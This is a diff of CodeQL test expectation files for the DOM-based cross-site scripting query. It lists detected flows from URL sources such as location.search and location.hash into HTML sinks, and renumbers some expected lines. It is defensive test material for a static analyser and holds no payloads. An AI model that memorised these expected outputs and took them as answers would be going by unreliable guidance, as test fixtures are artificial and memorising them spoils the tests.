-| tst.js:68:16:68:20 | bar() | tst.js:31:10:31:33 | documen ... .search | tst.js:68:16:68:20 | bar() | Cross-site scripting vulnerability due to $@. | tst.js:31:10:31:33 | documen ... .search | user-provided value |
-| tst.js:73:20:73:20 | x | tst.js:70:3:70:26 | documen ... .search | tst.js:73:20:73:20 | x | Cross-site scripting vulnerability due to $@. | tst.js:70:3:70:26 | documen ... .search | user-provided value |
-| tst.js:77:49:77:72 | documen ... .search | tst.js:77:49:77:72 | documen ... .search | tst.js:77:49:77:72 | documen ... .search | Cross-site scripting vulnerability due to $@. | tst.js:77:49:77:72 | documen ... .search | user-provided value |
-| tst.js:81:26:81:49 | documen ... .search | tst.js:81:26:81:49 | documen ... .search | tst.js:81:26:81:49 | documen ... .search | Cross-site scripting vulnerability due to $@. | tst.js:81:26:81:49 | documen ... .search | user-provided value |
-| tst.js:82:25:82:48 | documen ... .search | tst.js:82:25:82:48 | documen ... .search | tst.js:82:25:82:48 | documen ... .search | Cross-site scripting vulnerability due to $@. | tst.js:82:25:82:48 | documen ... .search | user-provided value |
-| tst.js:84:33:84:56 | documen ... .search | tst.js:84:33:84:56 | documen ... .search | tst.js:84:33:84:56 | documen ... .search | Cross-site scripting vulnerability due to $@. | tst.js:84:33:84:56 | documen ... .search | user-provided value |
-| tst.js:85:32:85:55 | documen ... .search | tst.js:85:32:85:55 | documen ... .search | tst.js:85:32:85:55 | documen ... .search | Cross-site scripting vulnerability due to $@. | tst.js:85:32:85:55 | documen ... .search | user-provided value |
-| tst.js:90:39:90:62 | documen ... .search | tst.js:90:39:90:62 | documen ... .search | tst.js:90:39:90:62 | documen ... .search | Cross-site scripting vulnerability due to $@. | tst.js:90:39:90:62 | documen ... .search | user-provided value |
-| tst.js:96:30:96:53 | documen ... .search | tst.js:96:30:96:53 | documen ... .search | tst.js:96:30:96:53 | documen ... .search | Cross-site scripting vulnerability due to $@. | tst.js:96:30:96:53 | documen ... .search | user-provided value |
-| tst.js:102:25:102:48 | documen ... .search | tst.js:102:25:102:48 | documen ... .search | tst.js:102:25:102:48 | documen ... .search | Cross-site scripting vulnerability due to $@. | tst.js:102:25:102:48 | documen ... .search | user-provided value |
-| tst.js:110:18:110:18 | v | tst.js:107:11:107:34 | documen ... .search | tst.js:110:18:110:18 | v | Cross-site scripting vulnerability due to $@. | tst.js:107:11:107:34 | documen ... .search | user-provided value |
-| tst.js:136:18:136:18 | v | tst.js:107:11:107:34 | documen ... .search | tst.js:136:18:136:18 | v | Cross-site scripting vulnerability due to $@. | tst.js:107:11:107:34 | documen ... .search | user-provided value |
-| tst.js:151:49:151:49 | v | tst.js:148:29:148:50 | window. ... .search | tst.js:151:49:151:49 | v | Cross-site scripting vulnerability due to $@. | tst.js:148:29:148:50 | window. ... .search | user-provided value |
-| tst.js:155:29:155:46 | xssSourceService() | tst.js:158:40:158:61 | window. ... .search | tst.js:155:29:155:46 | xssSourceService() | Cross-site scripting vulnerability due to $@. | tst.js:158:40:158:61 | window. ... .search | user-provided value |
-| tst.js:180:28:180:33 | target | tst.js:177:18:177:41 | documen ... .search | tst.js:180:28:180:33 | target | Cross-site scripting vulnerability due to $@. | tst.js:177:18:177:41 | documen ... .search | user-provided value |
-| tst.js:186:31:186:37 | tainted | tst.js:184:19:184:42 | documen ... .search | tst.js:186:31:186:37 | tainted | Cross-site scripting vulnerability due to $@. | tst.js:184:19:184:42 | documen ... .search | user-provided value |
-| tst.js:188:42:188:48 | tainted | tst.js:184:19:184:42 | documen ... .search | tst.js:188:42:188:48 | tainted | Cross-site scripting vulnerability due to $@. | tst.js:184:19:184:42 | documen ... .search | user-provided value |
-| tst.js:189:33:189:39 | tainted | tst.js:184:19:184:42 | documen ... .search | tst.js:189:33:189:39 | tainted | Cross-site scripting vulnerability due to $@. | tst.js:184:19:184:42 | documen ... .search | user-provided value |
-| tst.js:191:54:191:60 | tainted | tst.js:184:19:184:42 | documen ... .search | tst.js:191:54:191:60 | tainted | Cross-site scripting vulnerability due to $@. | tst.js:184:19:184:42 | documen ... .search | user-provided value |
-| tst.js:192:45:192:51 | tainted | tst.js:184:19:184:42 | documen ... .search | tst.js:192:45:192:51 | tainted | Cross-site scripting vulnerability due to $@. | tst.js:184:19:184:42 | documen ... .search | user-provided value |
-| tst.js:193:49:193:55 | tainted | tst.js:184:19:184:42 | documen ... .search | tst.js:193:49:193:55 | tainted | Cross-site scripting vulnerability due to $@. | tst.js:184:19:184:42 | documen ... .search | user-provided value |
-| tst.js:199:67:199:73 | tainted | tst.js:197:19:197:42 | documen ... .search | tst.js:199:67:199:73 | tainted | Cross-site scripting vulnerability due to $@. | tst.js:197:19:197:42 | documen ... .search | user-provided value |
-| tst.js:200:67:200:73 | tainted | tst.js:197:19:197:42 | documen ... .search | tst.js:200:67:200:73 | tainted | Cross-site scripting vulnerability due to $@. | tst.js:197:19:197:42 | documen ... .search | user-provided value |
-| tst.js:212:28:212:46 | this.state.tainted1 | tst.js:197:19:197:42 | documen ... .search | tst.js:212:28:212:46 | this.state.tainted1 | Cross-site scripting vulnerability due to $@. | tst.js:197:19:197:42 | documen ... .search | user-provided value |
-| tst.js:213:28:213:46 | this.state.tainted2 | tst.js:197:19:197:42 | documen ... .search | tst.js:213:28:213:46 | this.state.tainted2 | Cross-site scripting vulnerability due to $@. | tst.js:197:19:197:42 | documen ... .search | user-provided value |
-| tst.js:214:28:214:46 | this.state.tainted3 | tst.js:197:19:197:42 | documen ... .search | tst.js:214:28:214:46 | this.state.tainted3 | Cross-site scripting vulnerability due to $@. | tst.js:197:19:197:42 | documen ... .search | user-provided value |
-| tst.js:218:32:218:49 | prevState.tainted4 | tst.js:197:19:197:42 | documen ... .search | tst.js:218:32:218:49 | prevState.tainted4 | Cross-site scripting vulnerability due to $@. | tst.js:197:19:197:42 | documen ... .search | user-provided value |
-| tst.js:225:28:225:46 | this.props.tainted1 | tst.js:197:19:197:42 | documen ... .search | tst.js:225:28:225:46 | this.props.tainted1 | Cross-site scripting vulnerability due to $@. | tst.js:197:19:197:42 | documen ... .search | user-provided value |
-| tst.js:226:28:226:46 | this.props.tainted2 | tst.js:197:19:197:42 | documen ... .search | tst.js:226:28:226:46 | this.props.tainted2 | Cross-site scripting vulnerability due to $@. | tst.js:197:19:197:42 | documen ... .search | user-provided value |
-| tst.js:227:28:227:46 | this.props.tainted3 | tst.js:197:19:197:42 | documen ... .search | tst.js:227:28:227:46 | this.props.tainted3 | Cross-site scripting vulnerability due to $@. | tst.js:197:19:197:42 | documen ... .search | user-provided value |
-| tst.js:231:32:231:49 | prevProps.tainted4 | tst.js:197:19:197:42 | documen ... .search | tst.js:231:32:231:49 | prevProps.tainted4 | Cross-site scripting vulnerability due to $@. | tst.js:197:19:197:42 | documen ... .search | user-provided value |
-| tst.js:251:60:251:82 | this.st ... Tainted | tst.js:197:19:197:42 | documen ... .search | tst.js:251:60:251:82 | this.st ... Tainted | Cross-site scripting vulnerability due to $@. | tst.js:197:19:197:42 | documen ... .search | user-provided value |
-| tst.js:259:7:259:17 | window.name | tst.js:259:7:259:17 | window.name | tst.js:259:7:259:17 | window.name | Cross-site scripting vulnerability due to $@. | tst.js:259:7:259:17 | window.name | user-provided value |
-| tst.js:260:7:260:10 | name | tst.js:260:7:260:10 | name | tst.js:260:7:260:10 | name | Cross-site scripting vulnerability due to $@. | tst.js:260:7:260:10 | name | user-provided value |
-| tst.js:264:11:264:21 | window.name | tst.js:264:11:264:21 | window.name | tst.js:264:11:264:21 | window.name | Cross-site scripting vulnerability due to $@. | tst.js:264:11:264:21 | window.name | user-provided value |
-| tst.js:280:22:280:29 | location | tst.js:280:22:280:29 | location | tst.js:280:22:280:29 | location | Cross-site scripting vulnerability due to $@. | tst.js:280:22:280:29 | location | user-provided value |
-| tst.js:288:59:288:65 | tainted | tst.js:285:19:285:29 | window.name | tst.js:288:59:288:65 | tainted | Cross-site scripting vulnerability due to $@. | tst.js:285:19:285:29 | window.name | user-provided value |
-| tst.js:303:20:303:20 | e | tst.js:301:9:301:16 | location | tst.js:303:20:303:20 | e | Cross-site scripting vulnerability due to $@. | tst.js:301:9:301:16 | location | user-provided value |
-| tst.js:311:20:311:20 | e | tst.js:308:10:308:17 | location | tst.js:311:20:311:20 | e | Cross-site scripting vulnerability due to $@. | tst.js:308:10:308:17 | location | user-provided value |
-| tst.js:316:35:316:42 | location | tst.js:316:35:316:42 | location | tst.js:316:35:316:42 | location | Cross-site scripting vulnerability due to $@. | tst.js:316:35:316:42 | location | user-provided value |
-| tst.js:332:18:332:35 | params.get('name') | tst.js:327:18:327:34 | document.location | tst.js:332:18:332:35 | params.get('name') | Cross-site scripting vulnerability due to $@. | tst.js:327:18:327:34 | document.location | user-provided value |
-| tst.js:343:5:343:30 | getUrl( ... ring(1) | tst.js:341:20:341:36 | document.location | tst.js:343:5:343:30 | getUrl( ... ring(1) | Cross-site scripting vulnerability due to $@. | tst.js:341:20:341:36 | document.location | user-provided value |
-| tst.js:349:12:349:17 | target | tst.js:348:16:348:39 | documen ... .search | tst.js:349:12:349:17 | target | Cross-site scripting vulnerability due to $@. | tst.js:348:16:348:39 | documen ... .search | user-provided value |
-| tst.js:356:16:356:21 | target | tst.js:355:19:355:42 | documen ... .search | tst.js:356:16:356:21 | target | Cross-site scripting vulnerability due to $@. | tst.js:355:19:355:42 | documen ... .search | user-provided value |
-| tst.js:360:21:360:26 | target | tst.js:355:19:355:42 | documen ... .search | tst.js:360:21:360:26 | target | Cross-site scripting vulnerability due to $@. | tst.js:355:19:355:42 | documen ... .search | user-provided value |
-| tst.js:363:18:363:23 | target | tst.js:355:19:355:42 | documen ... .search | tst.js:363:18:363:23 | target | Cross-site scripting vulnerability due to $@. | tst.js:355:19:355:42 | documen ... .search | user-provided value |
-| tst.js:374:18:374:23 | target | tst.js:371:16:371:39 | documen ... .search | tst.js:374:18:374:23 | target | Cross-site scripting vulnerability due to $@. | tst.js:371:16:371:39 | documen ... .search | user-provided value |
-| tst.js:384:18:384:23 | target | tst.js:381:16:381:39 | documen ... .search | tst.js:384:18:384:23 | target | Cross-site scripting vulnerability due to $@. | tst.js:381:16:381:39 | documen ... .search | user-provided value |
-| tst.js:386:18:386:29 | target.taint | tst.js:381:16:381:39 | documen ... .search | tst.js:386:18:386:29 | target.taint | Cross-site scripting vulnerability due to $@. | tst.js:381:16:381:39 | documen ... .search | user-provided value |
-| tst.js:392:18:392:30 | target.taint3 | tst.js:391:19:391:42 | documen ... .search | tst.js:392:18:392:30 | target.taint3 | Cross-site scripting vulnerability due to $@. | tst.js:391:19:391:42 | documen ... .search | user-provided value |
-| tst.js:397:18:397:30 | target.taint5 | tst.js:381:16:381:39 | documen ... .search | tst.js:397:18:397:30 | target.taint5 | Cross-site scripting vulnerability due to $@. | tst.js:381:16:381:39 | documen ... .search | user-provided value |
-| tst.js:406:18:406:30 | target.taint7 | tst.js:381:16:381:39 | documen ... .search | tst.js:406:18:406:30 | target.taint7 | Cross-site scripting vulnerability due to $@. | tst.js:381:16:381:39 | documen ... .search | user-provided value |
-| tst.js:409:18:409:30 | target.taint8 | tst.js:381:16:381:39 | documen ... .search | tst.js:409:18:409:30 | target.taint8 | Cross-site scripting vulnerability due to $@. | tst.js:381:16:381:39 | documen ... .search | user-provided value |
-| tst.js:417:18:417:24 | payload | tst.js:416:17:416:36 | window.location.hash | tst.js:417:18:417:24 | payload | Cross-site scripting vulnerability due to $@. | tst.js:416:17:416:36 | window.location.hash | user-provided value |
-| tst.js:421:20:421:27 | match[1] | tst.js:419:15:419:34 | window.location.hash | tst.js:421:20:421:27 | match[1] | Cross-site scripting vulnerability due to $@. | tst.js:419:15:419:34 | window.location.hash | user-provided value |
-| tst.js:424:18:424:51 | window. ... '#')[1] | tst.js:424:18:424:37 | window.location.hash | tst.js:424:18:424:51 | window. ... '#')[1] | Cross-site scripting vulnerability due to $@. | tst.js:424:18:424:37 | window.location.hash | user-provided value |
-| tst.js:430:18:430:89 | target. ... data>') | tst.js:428:16:428:39 | documen ... .search | tst.js:430:18:430:89 | target. ... data>') | Cross-site scripting vulnerability due to $@. | tst.js:428:16:428:39 | documen ... .search | user-provided value |
-| tst.js:440:28:440:33 | source | tst.js:436:15:436:38 | documen ... .search | tst.js:440:28:440:33 | source | Cross-site scripting vulnerability due to $@. | tst.js:436:15:436:38 | documen ... .search | user-provided value |
-| tst.js:441:33:441:38 | source | tst.js:436:15:436:38 | documen ... .search | tst.js:441:33:441:38 | source | Cross-site scripting vulnerability due to $@. | tst.js:436:15:436:38 | documen ... .search | user-provided value |
-| tst.js:442:34:442:39 | source | tst.js:436:15:436:38 | documen ... .search | tst.js:442:34:442:39 | source | Cross-site scripting vulnerability due to $@. | tst.js:436:15:436:38 | documen ... .search | user-provided value |
-| tst.js:443:41:443:46 | source | tst.js:436:15:436:38 | documen ... .search | tst.js:443:41:443:46 | source | Cross-site scripting vulnerability due to $@. | tst.js:436:15:436:38 | documen ... .search | user-provided value |
-| tst.js:444:44:444:49 | source | tst.js:436:15:436:38 | documen ... .search | tst.js:444:44:444:49 | source | Cross-site scripting vulnerability due to $@. | tst.js:436:15:436:38 | documen ... .search | user-provided value |
-| tst.js:445:32:445:37 | source | tst.js:436:15:436:38 | documen ... .search | tst.js:445:32:445:37 | source | Cross-site scripting vulnerability due to $@. | tst.js:436:15:436:38 | documen ... .search | user-provided value |
-| tst.js:455:18:455:23 | source | tst.js:453:16:453:39 | documen ... .search | tst.js:455:18:455:23 | source | Cross-site scripting vulnerability due to $@. | tst.js:453:16:453:39 | documen ... .search | user-provided value |
-| tst.js:456:18:456:42 | ansiToH ... source) | tst.js:453:16:453:39 | documen ... .search | tst.js:456:18:456:42 | ansiToH ... source) | Cross-site scripting vulnerability due to $@. | tst.js:453:16:453:39 | documen ... .search | user-provided value |
-| tst.js:463:21:463:26 | source | tst.js:460:15:460:38 | documen ... .search | tst.js:463:21:463:26 | source | Cross-site scripting vulnerability due to $@. | tst.js:460:15:460:38 | documen ... .search | user-provided value |
-| tst.js:465:19:465:24 | source | tst.js:460:15:460:38 | documen ... .search | tst.js:465:19:465:24 | source | Cross-site scripting vulnerability due to $@. | tst.js:460:15:460:38 | documen ... .search | user-provided value |
-| tst.js:467:20:467:25 | source | tst.js:460:15:460:38 | documen ... .search | tst.js:467:20:467:25 | source | Cross-site scripting vulnerability due to $@. | tst.js:460:15:460:38 | documen ... .search | user-provided value |
-| tst.js:473:19:473:21 | url | tst.js:471:13:471:36 | documen ... .search | tst.js:473:19:473:21 | url | Cross-site scripting vulnerability due to $@. | tst.js:471:13:471:36 | documen ... .search | user-provided value |
-| tst.js:474:26:474:28 | url | tst.js:471:13:471:36 | documen ... .search | tst.js:474:26:474:28 | url | Cross-site scripting vulnerability due to $@. | tst.js:471:13:471:36 | documen ... .search | user-provided value |
-| tst.js:475:25:475:27 | url | tst.js:471:13:471:36 | documen ... .search | tst.js:475:25:475:27 | url | Cross-site scripting vulnerability due to $@. | tst.js:471:13:471:36 | documen ... .search | user-provided value |
-| tst.js:476:20:476:22 | url | tst.js:471:13:471:36 | documen ... .search | tst.js:476:20:476:22 | url | Cross-site scripting vulnerability due to $@. | tst.js:471:13:471:36 | documen ... .search | user-provided value |
-| tst.js:486:22:486:24 | url | tst.js:471:13:471:36 | documen ... .search | tst.js:486:22:486:24 | url | Cross-site scripting vulnerability due to $@. | tst.js:471:13:471:36 | documen ... .search | user-provided value |
-| tst.js:491:23:491:45 | locatio ... bstr(1) | tst.js:491:23:491:35 | location.hash | tst.js:491:23:491:45 | locatio ... bstr(1) | Cross-site scripting vulnerability due to $@. | tst.js:491:23:491:35 | location.hash | user-provided value |
-| tst.js:494:18:494:40 | locatio ... bstr(1) | tst.js:494:18:494:30 | location.hash | tst.js:494:18:494:40 | locatio ... bstr(1) | Cross-site scripting vulnerability due to $@. | tst.js:494:18:494:30 | location.hash | user-provided value |
-| tst.js:501:33:501:63 | decodeU ... n.hash) | tst.js:501:43:501:62 | window.location.hash | tst.js:501:33:501:63 | decodeU ... n.hash) | Cross-site scripting vulnerability due to $@. | tst.js:501:43:501:62 | window.location.hash | user-provided value |
-| tst.js:509:18:509:54 | target. ... "), '') | tst.js:508:16:508:39 | documen ... .search | tst.js:509:18:509:54 | target. ... "), '') | Cross-site scripting vulnerability due to $@. | tst.js:508:16:508:39 | documen ... .search | user-provided value |
-| typeahead.js:25:18:25:20 | val | typeahead.js:20:22:20:45 | documen ... .search | typeahead.js:25:18:25:20 | val | Cross-site scripting vulnerability due to $@. | typeahead.js:20:22:20:45 | documen ... .search | user-provided value |
-| various-concat-obfuscations.js:4:4:4:31 | "<div>" ... </div>" | various-concat-obfuscations.js:2:16:2:39 | documen ... .search | various-concat-obfuscations.js:4:4:4:31 | "<div>" ... </div>" | Cross-site scripting vulnerability due to $@. | various-concat-obfuscations.js:2:16:2:39 | documen ... .search | user-provided value |
-| various-concat-obfuscations.js:5:4:5:26 | `<div>$ ... </div>` | various-concat-obfuscations.js:2:16:2:39 | documen ... .search | various-concat-obfuscations.js:5:4:5:26 | `<div>$ ... </div>` | Cross-site scripting vulnerability due to $@. | various-concat-obfuscations.js:2:16:2:39 | documen ... .search | user-provided value |
-| various-concat-obfuscations.js:6:4:6:43 | "<div>" ... /div>") | various-concat-obfuscations.js:2:16:2:39 | documen ... .search | various-concat-obfuscations.js:6:4:6:43 | "<div>" ... /div>") | Cross-site scripting vulnerability due to $@. | various-concat-obfuscations.js:2:16:2:39 | documen ... .search | user-provided value |
-| various-concat-obfuscations.js:7:4:7:38 | ["<div> ... .join() | various-concat-obfuscations.js:2:16:2:39 | documen ... .search | various-concat-obfuscations.js:7:4:7:38 | ["<div> ... .join() | Cross-site scripting vulnerability due to $@. | various-concat-obfuscations.js:2:16:2:39 | documen ... .search | user-provided value |
-| various-concat-obfuscations.js:9:4:9:34 | "<div i ...  "\\"/>" | various-concat-obfuscations.js:2:16:2:39 | documen ... .search | various-concat-obfuscations.js:9:4:9:34 | "<div i ...  "\\"/>" | Cross-site scripting vulnerability due to $@. | various-concat-obfuscations.js:2:16:2:39 | documen ... .search | user-provided value |
-| various-concat-obfuscations.js:10:4:10:27 | `<div i ... ed}"/>` | various-concat-obfuscations.js:2:16:2:39 | documen ... .search | various-concat-obfuscations.js:10:4:10:27 | `<div i ... ed}"/>` | Cross-site scripting vulnerability due to $@. | various-concat-obfuscations.js:2:16:2:39 | documen ... .search | user-provided value |
-| various-concat-obfuscations.js:11:4:11:44 | "<div i ... t("/>") | various-concat-obfuscations.js:2:16:2:39 | documen ... .search | various-concat-obfuscations.js:11:4:11:44 | "<div i ... t("/>") | Cross-site scripting vulnerability due to $@. | various-concat-obfuscations.js:2:16:2:39 | documen ... .search | user-provided value |
-| various-concat-obfuscations.js:12:4:12:41 | ["<div  ... .join() | various-concat-obfuscations.js:2:16:2:39 | documen ... .search | various-concat-obfuscations.js:12:4:12:41 | ["<div  ... .join() | Cross-site scripting vulnerability due to $@. | various-concat-obfuscations.js:2:16:2:39 | documen ... .search | user-provided value |
-| various-concat-obfuscations.js:20:4:20:47 | indirec ... .attrs) | various-concat-obfuscations.js:20:17:20:40 | documen ... .search | various-concat-obfuscations.js:20:4:20:47 | indirec ... .attrs) | Cross-site scripting vulnerability due to $@. | various-concat-obfuscations.js:20:17:20:40 | documen ... .search | user-provided value |
-| various-concat-obfuscations.js:21:4:21:47 | indirec ... .attrs) | various-concat-obfuscations.js:21:17:21:40 | documen ... .search | various-concat-obfuscations.js:21:4:21:47 | indirec ... .attrs) | Cross-site scripting vulnerability due to $@. | various-concat-obfuscations.js:21:17:21:40 | documen ... .search | user-provided value |
-| winjs.js:3:43:3:49 | tainted | winjs.js:2:17:2:40 | documen ... .search | winjs.js:3:43:3:49 | tainted | Cross-site scripting vulnerability due to $@. | winjs.js:2:17:2:40 | documen ... .search | user-provided value |
-| winjs.js:4:43:4:49 | tainted | winjs.js:2:17:2:40 | documen ... .search | winjs.js:4:43:4:49 | tainted | Cross-site scripting vulnerability due to $@. | winjs.js:2:17:2:40 | documen ... .search | user-provided value |
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/Xss.qlref b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/Xss.qlref
index 353427de4718..22add04d21de 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/Xss.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/Xss.qlref
@@ -1 +1,2 @@
-Security/CWE-079/Xss.ql
+query: Security/CWE-079/Xss.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/XssWithAdditionalSources.expected b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/XssWithAdditionalSources.expected
index 8e4fdb09b996..ed2611a11e37 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/XssWithAdditionalSources.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/XssWithAdditionalSources.expected
@@ -152,7 +152,35 @@ nodes
 | dragAndDrop.ts:73:29:73:39 | droppedHtml | semmle.label | droppedHtml |
 | event-handler-receiver.js:2:31:2:83 | '<h2><a ... ></h2>' | semmle.label | '<h2><a ... ></h2>' |
 | event-handler-receiver.js:2:49:2:61 | location.href | semmle.label | location.href |
-| express.js:7:15:7:33 | req.param("wobble") | semmle.label | req.param("wobble") |
+| express.js:6:15:6:33 | req.param("wobble") | semmle.label | req.param("wobble") |
+| hana.js:11:37:11:40 | rows | semmle.label | rows |
+| hana.js:11:37:11:51 | rows[0].comment | semmle.label | rows[0].comment |
+| hana.js:16:37:16:40 | rows | semmle.label | rows |
+| hana.js:16:37:16:51 | rows[0].comment | semmle.label | rows[0].comment |
+| hana.js:19:37:19:40 | rows | semmle.label | rows |
+| hana.js:19:37:19:51 | rows[0].comment | semmle.label | rows[0].comment |
+| hana.js:22:37:22:38 | rs | semmle.label | rs |
+| hana.js:22:37:22:49 | rs[0].comment | semmle.label | rs[0].comment |
+| hana.js:38:31:38:32 | rs | semmle.label | rs |
+| hana.js:38:31:38:43 | rs[0].comment | semmle.label | rs[0].comment |
+| hana.js:43:33:43:41 | dummyRows | semmle.label | dummyRows |
+| hana.js:43:33:43:52 | dummyRows[0].comment | semmle.label | dummyRows[0].comment |
+| hana.js:44:33:44:42 | tablesRows | semmle.label | tablesRows |
+| hana.js:44:33:44:53 | tablesR ... comment | semmle.label | tablesR ... comment |
+| hana.js:50:33:50:41 | dummyRows | semmle.label | dummyRows |
+| hana.js:50:33:50:52 | dummyRows[0].comment | semmle.label | dummyRows[0].comment |
+| hana.js:51:33:51:42 | tablesRows | semmle.label | tablesRows |
+| hana.js:51:33:51:53 | tablesR ... comment | semmle.label | tablesR ... comment |
+| hana.js:70:33:70:36 | rows | semmle.label | rows |
+| hana.js:70:33:70:47 | rows[0].comment | semmle.label | rows[0].comment |
+| hana.js:73:33:73:36 | rows | semmle.label | rows |
+| hana.js:73:33:73:47 | rows[0].comment | semmle.label | rows[0].comment |
+| hana.js:84:35:84:43 | dummyRows | semmle.label | dummyRows |
+| hana.js:84:35:84:54 | dummyRows[0].comment | semmle.label | dummyRows[0].comment |
+| hana.js:85:35:85:43 | tableRows | semmle.label | tableRows |
+| hana.js:85:35:85:54 | tableRows[0].comment | semmle.label | tableRows[0].comment |
+| hana.js:90:33:90:34 | rs | semmle.label | rs |
+| hana.js:90:33:90:45 | rs[0].comment | semmle.label | rs[0].comment |
 | jquery.js:2:7:2:40 | tainted | semmle.label | tainted |
 | jquery.js:2:17:2:40 | documen ... .search | semmle.label | documen ... .search |
 | jquery.js:4:5:4:11 | tainted | semmle.label | tainted |
@@ -202,8 +230,8 @@ nodes
 | jwt-server.js:7:17:7:35 | req.param("wobble") | semmle.label | req.param("wobble") |
 | jwt-server.js:9:16:9:20 | taint | semmle.label | taint |
 | jwt-server.js:9:55:9:61 | decoded | semmle.label | decoded |
-| jwt-server.js:11:19:11:25 | decoded | semmle.label | decoded |
-| jwt-server.js:11:19:11:29 | decoded.foo | semmle.label | decoded.foo |
+| jwt-server.js:10:19:10:25 | decoded | semmle.label | decoded |
+| jwt-server.js:10:19:10:29 | decoded.foo | semmle.label | decoded.foo |
 | jwt.js:4:36:4:39 | data | semmle.label | data |
 | jwt.js:5:9:5:34 | decoded | semmle.label | decoded |
 | jwt.js:5:19:5:34 | jwt_decode(data) | semmle.label | jwt_decode(data) |
@@ -252,8 +280,8 @@ nodes
 | pages/[id].jsx:13:44:13:52 | params.id | semmle.label | params.id |
 | pages/[id].jsx:16:44:16:49 | params [q] | semmle.label | params [q] |
 | pages/[id].jsx:16:44:16:51 | params.q | semmle.label | params.q |
-| pages/[id].jsx:24:12:27:5 | {\\n      ... ,\\n    } [id] | semmle.label | {\\n      ... ,\\n    } [id] |
-| pages/[id].jsx:24:12:27:5 | {\\n      ... ,\\n    } [q] | semmle.label | {\\n      ... ,\\n    } [q] |
+| pages/[id].jsx:24:12:27:5 | {\\n      ... e\\n    } [id] | semmle.label | {\\n      ... e\\n    } [id] |
+| pages/[id].jsx:24:12:27:5 | {\\n      ... e\\n    } [q] | semmle.label | {\\n      ... e\\n    } [q] |
 | pages/[id].jsx:25:11:25:24 | context.params | semmle.label | context.params |
 | pages/[id].jsx:25:11:25:33 | context ... d \|\| "" | semmle.label | context ... d \|\| "" |
 | pages/[id].jsx:26:10:26:22 | context.query | semmle.label | context.query |
@@ -348,9 +376,9 @@ nodes
 | translate.js:7:42:7:60 | target.substring(1) | semmle.label | target.substring(1) |
 | translate.js:7:42:7:60 | target.substring(1) | semmle.label | target.substring(1) |
 | translate.js:7:42:7:60 | target.substring(1) | semmle.label | target.substring(1) |
-| translate.js:9:27:9:38 | searchParams | semmle.label | searchParams |
-| translate.js:9:27:9:38 | searchParams [MapValue] | semmle.label | searchParams [MapValue] |
-| translate.js:9:27:9:50 | searchP ... 'term') | semmle.label | searchP ... 'term') |
+| translate.js:8:27:8:38 | searchParams | semmle.label | searchParams |
+| translate.js:8:27:8:38 | searchParams [MapValue] | semmle.label | searchParams [MapValue] |
+| translate.js:8:27:8:50 | searchP ... 'term') | semmle.label | searchP ... 'term') |
 | trusted-types-lib.js:1:28:1:28 | x | semmle.label | x |
 | trusted-types-lib.js:2:12:2:12 | x | semmle.label | x |
 | trusted-types.js:3:62:3:62 | x | semmle.label | x |
@@ -373,240 +401,244 @@ nodes
 | tst3.js:10:38:10:43 | data.p | semmle.label | data.p |
 | tst.js:2:7:2:39 | target | semmle.label | target |
 | tst.js:2:16:2:39 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:5:18:5:23 | target | semmle.label | target |
-| tst.js:8:18:8:126 | "<OPTIO ... PTION>" | semmle.label | "<OPTIO ... PTION>" |
-| tst.js:8:37:8:58 | documen ... on.href | semmle.label | documen ... on.href |
-| tst.js:8:37:8:114 | documen ... t=")+8) | semmle.label | documen ... t=")+8) |
-| tst.js:8:37:8:114 | documen ... t=")+8) | semmle.label | documen ... t=")+8) |
-| tst.js:12:5:12:42 | '<div s ...  'px">' | semmle.label | '<div s ...  'px">' |
-| tst.js:12:28:12:33 | target | semmle.label | target |
-| tst.js:17:7:17:56 | params | semmle.label | params |
-| tst.js:17:7:17:56 | params [MapValue] | semmle.label | params [MapValue] |
-| tst.js:17:16:17:43 | (new UR ... ation)) [searchParams, MapValue] | semmle.label | (new UR ... ation)) [searchParams, MapValue] |
-| tst.js:17:16:17:43 | (new UR ... ation)) [searchParams] | semmle.label | (new UR ... ation)) [searchParams] |
-| tst.js:17:16:17:56 | (new UR ... hParams | semmle.label | (new UR ... hParams |
-| tst.js:17:16:17:56 | (new UR ... hParams [MapValue] | semmle.label | (new UR ... hParams [MapValue] |
-| tst.js:17:17:17:42 | new URL ... cation) [searchParams, MapValue] | semmle.label | new URL ... cation) [searchParams, MapValue] |
-| tst.js:17:17:17:42 | new URL ... cation) [searchParams] | semmle.label | new URL ... cation) [searchParams] |
-| tst.js:17:25:17:41 | document.location | semmle.label | document.location |
-| tst.js:18:18:18:23 | params | semmle.label | params |
-| tst.js:18:18:18:23 | params [MapValue] | semmle.label | params [MapValue] |
-| tst.js:18:18:18:35 | params.get('name') | semmle.label | params.get('name') |
-| tst.js:20:7:20:61 | searchParams | semmle.label | searchParams |
-| tst.js:20:7:20:61 | searchParams [MapValue] | semmle.label | searchParams [MapValue] |
-| tst.js:20:22:20:61 | new URL ... ing(1)) | semmle.label | new URL ... ing(1)) |
-| tst.js:20:22:20:61 | new URL ... ing(1)) [MapValue] | semmle.label | new URL ... ing(1)) [MapValue] |
-| tst.js:20:42:20:47 | target | semmle.label | target |
-| tst.js:20:42:20:60 | target.substring(1) | semmle.label | target.substring(1) |
-| tst.js:20:42:20:60 | target.substring(1) | semmle.label | target.substring(1) |
-| tst.js:20:42:20:60 | target.substring(1) | semmle.label | target.substring(1) |
-| tst.js:21:18:21:29 | searchParams | semmle.label | searchParams |
-| tst.js:21:18:21:29 | searchParams [MapValue] | semmle.label | searchParams [MapValue] |
-| tst.js:21:18:21:41 | searchP ... 'name') | semmle.label | searchP ... 'name') |
-| tst.js:24:14:24:19 | target | semmle.label | target |
-| tst.js:26:18:26:23 | target | semmle.label | target |
-| tst.js:28:5:28:28 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:31:10:31:33 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:34:16:34:20 | bar() | semmle.label | bar() |
-| tst.js:36:14:36:14 | x | semmle.label | x |
-| tst.js:37:10:37:10 | x | semmle.label | x |
-| tst.js:40:16:40:44 | baz(doc ... search) | semmle.label | baz(doc ... search) |
